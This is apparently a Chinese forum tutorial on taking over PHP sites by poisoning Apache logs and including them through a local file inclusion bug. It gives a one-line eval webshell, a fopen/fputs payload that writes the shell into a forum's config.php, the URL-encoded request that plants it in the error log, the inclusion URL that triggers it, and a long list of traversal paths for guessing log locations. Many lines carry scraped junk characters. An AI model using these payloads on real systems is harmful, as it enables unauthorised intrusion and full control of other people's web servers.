php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

比如还是这句一句话木马
) A( f* S* \! M/ i<?eval($_POST[cmd]);?>   
; N& N8 j2 ^4 `3 h6 W8 l6 ^, l
到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

; K6 C+ x2 y' k3 R' U" ^2 ^<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
; R9 N0 J1 i6 S3 B. b# i, _6 L, Pfclose($fp);?>   //在config.php里写入一句木马语句

& J/ U/ }1 R- l我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
0 g* C, j3 D) `/ `% Jconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
: U* Z& w. @! }9 w8 w%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
$ ?" r9 u  d6 V) j" ^fclose%28%24fp%29%3B%3F%3E
我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
, n! y3 V7 v$ x# _' Q%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
; K  ~6 V; }7 u: E1 f  s8 P: e5 h5 r& W6 Thttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
' r$ p1 g* j& _1 O8 H
这样webshell就写入成功了，config.php里就写入一句木马语句
/ U7 ^% d2 d3 d' uOK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
/ c8 b9 q/ f- P( l$ {6 ?5 O0 t8 N: Z直接用lanker的客户端一连，主机就是你的了。
& k0 V4 v: O6 Z8 R- s
) i2 U! m/ A, ?4 ]- o5 iPS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
- U1 R4 t# n, _' ^+ |# x
7 R  l2 ^6 l$ c# b9 Y其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
6 c* p- P6 _/ `. U# ~& t6 Q../apache/logs/error.log
* h8 k% \! q4 E! o5 ?../apache/logs/access.log
  L6 M; E& L8 ]0 P4 B* D& Z& H5 y. {../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
7 t5 g: o& T, R/ m7 M' L../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
* N( t: ?# q. r  [" U% q6 z../../../../../../../../../../etc/httpd/logs/acces.log
4 n, s  \* R4 {$ G1 r: ^$ K../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
5 ]% R! @& ?2 ^) `* K../../../../../../../../../../var/www/logs/access.log
! h& N: K8 Y0 O1 p/ D/ g6 C2 k../../../../../../../../../../usr/local/apache/logs/access_log
9 f/ b( S0 T/ b8 j5 j% d2 H1 q../../../../../../../../../../usr/local/apache/logs/access.log
: Z  v; q) d4 Z2 I../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
5 {4 T, h- D- J9 Z8 d; G( Q../../../../../../../../../../var/log/access_log
' N! A8 [; U2 D8 Z* Z, F" B1 ?../../../../../../../../../../var/www/logs/error_log
. n+ G! z! `7 G../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
& \/ p4 P& M7 `) j. |../../../../../../../../../../var/log/access_log
/ m! t" W6 J5 I- U0 T0 i5 P/ y7 z- ]/ E../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
6 K% h: S, u1 \/ g9 D3 l/var/log/httpd/error_log     
../apache/logs/error.log     
- b9 y1 r9 X! d5 ]2 D6 f../apache/logs/access.log
../../apache/logs/error.log
# q' D1 n5 B: r4 Z4 V../../apache/logs/access.log
../../../apache/logs/error.log
! h0 a! F3 [: O8 x% ~) u% D) y../../../apache/logs/access.log
) `# @4 I0 L% _5 l6 M/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
  Y8 M- H8 M6 j! l* p6 X/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
* {4 c* H4 i. [1 o5 q8 |/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
& C7 h1 x$ y& S/var/log/apache/access_log
/var/log/apache/access.log
' v- U# T9 |5 H0 E/var/log/access_log
/var/www/logs/error_log
3 b. H; e$ u5 t" G/var/www/logs/error.log
  R8 x1 y+ U2 L, i3 N2 o$ P/usr/local/apache/logs/error_log
4 Z6 \) w. ]# [" y# G/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
  A( @( X, w9 b% p( C/var/log/access_log
% X$ R( x1 Z/ l) ]# {$ U( m  A/var/log/error_log